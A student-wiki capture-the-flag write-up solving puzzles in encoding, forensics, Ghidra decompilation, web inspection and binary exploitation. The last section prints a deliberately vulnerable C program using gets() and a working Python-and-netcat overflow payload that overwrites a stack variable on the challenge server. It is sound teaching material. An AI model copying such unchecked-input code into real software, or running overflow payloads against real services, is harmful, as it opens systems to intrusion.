W4502 Capture the Flag II

From Coder Merlin
Revision as of 16:48, 5 December 2020 by MagicPizzaBox (talk | contribs) (added binary writeup)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Within these castle walls be forged Mavens of Computer Science ...
— Merlin, The Coder

This page will serve as a writeup for the CTF II competition problems.



[25 Points] -- .-. / -- --- .-. ... . / .... .- -.. / .- / .... --- .-. ... . / --- ..-. / -.-. --- ..- .-. ... .
Hint: Your answer should have underscores separating the words.

By examining the challenge name and the dots and dashes, we can assume that the flag is encoded using morse code. When putting this in an online translator, we get "MR MORSE HAD A HORSE OF COURSE". If we format this, we get this flag: ahsCTF{mr_morse_had_a_horse_of_course}.


[25 Points] ahsCTF{ti_esrev3r_t$uj}
Hint: racecar is an interesting word

Since "racecar" is a palindrome (same forward and backward), we can guess that the flag is reversed. If we reverse "ti_esrev3r_t$uj", we get "ju$t_r3verse_it". When we format this in the flag format, we get ahsCTF{ju$t_r3verse_it}.

Base 2 to the 6th[edit]

[50 Points] I don’t know how to convert bases for my computer science class. Can you help me out and do this problem for me so I don’t fail?

We also receive a file with this text: "YWhzQ1RGe2lfbGlrZV9iaWdfYmFzZXNfYW5kX2lfY2Fubm90X2xpZX0=". The characters used in this encoded message appear to be base64, and the challenge name also hints at base64 (2^6 = 64). If we put this in an online base64 decoder, we get ahsCTF{i_like_big_bases_and_i_cannot_lie}.

Message Mayhem[edit]

[275 Points] I received this message over my unreliable Wi-Fi, but it doesn’t make any sense.
Hint: The message seems to have been repeated on every line but some characters are corrupted.

We also get a file called message.txt which contains this:

a.pdl){b!gM3=n_a3nJo]6Zt"(bj03 (
>p,_T5Ch&g"uirCh6F{bJt|z9| xexs0
ap$BB?ubL/t.UBOFNiRj;v: 0__Mw6B<
}GyRmF2GRg_b 5Cg:C#j]k*@d*CY]3sH
 l>\.4{bNTAf>us]%gwo"rM<" bYmSf0
I/ wDpKbDN:]UOk!f$IoSN!Kp4w[t3 C
;gsjzF|'!KWsZW h$^H\3<{EdST}dO4&
u&sopwP:7"L~xwCP:0M# db@7CbgP8@h
a/sCm({r!A8bU.yh33_o {%2d4bJq3u-
aJ=IT${b8[_hm;oNgm_q[ydU _ZXE6i{
8h+92B{Z#y]qXn@ @z#SKhwmqPI8MI&/
a;P]e>Dh(HH2W> hQizG'o+42`I}tWHn
#ww<TC"bng*b" Cecy.aGSA@bObLJQs}
IU4 Ac^b! EbUmC_Q$9SOFdu./bTg3sq
_#yU ;{bW$_b!nj2oW~)d_b'd_b;(vY*
ahs\T,{btJ@b ncK3TD4#_mG9~FY{Ts!
N 2[TDHC\g/,>Jw>3{e:].A]s_:YtRF}
ahp"B:#d{g/zMnUg3^jzfqv@d= R>3>}
phr5Sn/-!g__u[^KzJk* _Rm-Cbws8`2

By viewing the hint and looking very closely at the characters on each line of the message we realize that the message was repeated 101 times but some characters were incorrect. We find that there seems to be similar characters in the same positions of each line (lots of "a"s in the 0th indexes, "h"s in the 1st index, etc.). We can write a simple Python script to decode this:

import statistics

f = open("message.txt", "r")
arr = [""] *32

for _ in range(0, 101):
    msg = f.readline()
    for j in range(0, 32):
         arr[j] += msg[j]

flag = ""
for i in arr:
    flag += statistics.mode(i)


This script starts by opening message.txt and creating an array of 32 empty strings because there are 32 characters per line. The script then loops through every line and for every line it loops through every character and adds that character to the corresponding position in the array. The array will now have 32 strings that each have a length of 101. The last loop in the script loops through the array and uses the statistics import to find the most common character and append it to the flag. This program outputs ahsCTF{b!g_bUnCh3$_of_b@d_bYt3s}.



[75 Points] I haven't cleaned up my computer in a while, but I need to find the flag. The problem is, there's way too much junk. https://github.com/markamirkan/temprevshell/raw/main/plumbing.zip

The download link provides a zip file called plumbing.zip.

We can start by unzipping this file so we can work with it. We get a folder called plumbing which contains many folders within it and each of those folders has many files within it. The names and contents of the folders and files seem to be random. We can use the grep command to search the contents of files.

john-williams@codermerlin:~/plumbing$  grep -r ahsCTF .

The -r option is used to search recursively through all of the folders for "ahsCTF" in the current directory (represented by "."). After running this command we get an output containing ahsCTF{itsAMe_mario}.

Exif Exists[edit]

[75 Points] Don’t take the image at face value
Hint: What’s exif?

The challenge also provides this image:


Let's start by downloading this image into the Merlin shell. We can use the wget command with the download URL.

john-williams@codermerlin:~$  wget [URL]

Once the image is in the shell, we can start examining it. The challenge hints at something called exif. If we google this, we find that exif is the metadata of files. To view the exif data, we can use the following command:

john-williams@codermerlin:~$  exiftool exif_exists.jpg

We see that one of the metadata entries is ahsCTF{very_nice_meta_data}.

Head Shoulders Knees & Toes[edit]

[175 Points] This image seems to be corrupt, can you fix it?
The image is supposed to be a png

The challenge also provides a file called head_shoulders_knees.

If we open up head_shoulders_knees in a text editor we find that it is a binary file, yet it says PNG at the top. The file seems to be a corrupted PNG file. We can rename it to head_shoulders_knees.png and open it up in a hex editor, which allows us to modify the file's raw hex data. In this case, we used the HxD hex editor on Windows. When we open up the file's hex, we see these bytes at the beginning:

98 50 4E 47 0D 0A 1A 0A 00 00 00 0D 50 67 34 56

A quick google search of the correct PNG file header reveals it should look like this:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

We can use HxD to modify the file's hex to look like the correct PNG file header. After we do this, the image opens normally and has the text ahsCTF{that_header_looks_better}.

Reverse Engineering[edit]

Wait… how do i read this?[edit]

[300 Points] I found this executable, but I didn’t manage to get it’s source code. Maybe there’s some other way…
Hint: https://www.codermerlin.com/wiki/index.php/W4500_Cyber_Security#Reverse_Engineering

The challenge also provides an executable called secretBinary.

The challenge prompt and hint imply that we should decompile the binary in order to view the source code. We can use Ghidra to do this. Shart by opening Ghidra using the ghidraRun executable (Linux) or ghidraRun.bat (Windows). Then select CodeBrowser from the Tool Chest and then import secretBinary. After Ghidra analyzes the file, we can view its source code by searching for the main function and selecting it:

undefined8 main(void)

  int iVar1;
  char local_48 [32];
  char local_28 [28];
  int local_c;
  printf("Enter your flag (19 character limit): ");
  local_c = 0;
  while (local_c < 0x39) {
    local_48[local_c / 3] = local_28[local_c % 0x13];
    local_c = local_c + 3;
  iVar1 = strcmp(local_48,"aC{isl}sFhIFghTtsAa");
  if (iVar1 == 0) {
    puts("Flag is correct!");
  else {
    puts("Flag is incorrect.");
  return 0;

The code appears to use the scanf function to scan user input. A loop then seems to take every third character of the user input and append it to the local_48 variable. The strcmp function is then used to compare the manipulated user input to "aC{isl}sFhIFghTtsAa", and if they match then display that the flag is correct. That means that "aC{isl}sFhIFghTtsAa" is the result of every third character of the flag being appended to a string. Since the string is small, we can manually decrypt it by separating each character by 3 byes to get "a..C..{..i..s..l..}..s..F..h..I..F..g..h..T..t..s..A..a" then shifting the pieces together to get "ah.CT.{t.is.sA.la.}..s..F..h..I..F..g" and then "ahsCTF{thisIsAFlag}".

Web Exploitation[edit]


[125 Points] I have this neat website, but I think someone hid a flag in the code:
Hint: Look at the code for all the html files

The title inspect gives us a hint that we will need to use inspect element to view the source code, and uncover the flag. If we also take a look at the menu button at the top right, we see that there are 3 HTML pages on this website. Inside of an HTML comment in the file elements.html you can find the flag: ahsCTF{mr_inspector}.


[150 Points] The staff at the STEAM Center are sick of the robotics team letting their robots roam everywhere, so they designated some areas as off-limits. In fact, the staff made a list of where the robots aren’t allowed…
Hint 1: How do we tell robots where they are not allowed to go on our website?
Hint 2: Google robots.txt

The hint asks “How do we tell robots where they are not allowed to go on our website?” With a quick google search, we find out that a file named robots.txt can be used to give instructions to web crawling robots on where they are not allowed to go on the site. After navigating to we see that the Disallow field lists the file you-found-me.html in the root directory. We can then find the flag ahsCTF{this_is_where_robots_go} by going to the website

Binary Exploitation[edit]

i’m Buffer than you too[edit]

[250 Points] Another beautiful buffer to exploit! But this time, there are no addresses given…
Run this command: nc 5002
Hint: It’s sometimes useful to pass input to programs using python’s -c option

The challenge also provides the file imbufferthanyoutoo.c and the executable imbufferthanyoutoo.

The imbufferthanyou.c file contains this code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln() {
    int secret = 0x00000000;
    char buffer[12];

    printf("Input text into buffer: ");
    gets(buffer); // This may be a vulnerability...

    if(secret == 0xba659288) {
        printf("You found the flag!\n");
        system("cat flag.txt");
    } else {
        printf("It looks like you didn't overwrite the secret variable or overwrote using the wrong data.\n");


int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

Prerequisite: https://en.wikipedia.org/wiki/Call_stack

It seems that in order to concatenate flag.txt we must overwrite the value of the secret integer in memory. Luckily, this program uses the gets function to collect user input. The gets function does not check if the input size exceeds the size of the array it is stored in, therefore allowing us to override data after the array buffer's memory location. Since the buffer array size is 12, if we input more than 12 characters we will begin overwriting data outside the buffer. We can guess that the address of the secret variable is 12 bytes after the buffer by looking at the code and understanding the stack, however, we can also use the gdb debugger to verify the locations of the local variables.

Going DeeperGoingDeeperIcon.png
When using gdb, the "print &[variable]" and "info addr [variable]" commands can be used to view the memory locations of variables.

Let's now run the executable using our payload of 12 characters to fill the buffer followed by the value 0xba659288 to overwrite the secret integer. We used python's -c option and the | operator to pipe the output of this python statement into the program. Note that this syntax only works in python 2.

john-williams@codermerlin:~$  python -c "print('a'*12 + '\x88\x92\x65\xba')" ∣ ./imbufferthanyoutoo

We get the following output:

Input text into buffer: You found the flag!
cat: flag.txt: No such file or directory

It worked! It attempted to run the concatenation command, but flag.txt is stored on the server, not on our host machine. We can run the executable on the server by using Netcat (nc). The challenge prompt gives us the IP address and port of the server to netcat to. Let's run the same command as before but pipe the python output into the server's executable using Netcat:

john-williams@codermerlin:~$  python -c "print('a'*12 + '\x88\x92\x65\xba')" ∣ nc 5002

We get the following output:

Input text into buffer: You found the flag!

There it is! The flag is ahsCTF{br3@k!Ng_bUfF3r$_i$_th3_bEsT}.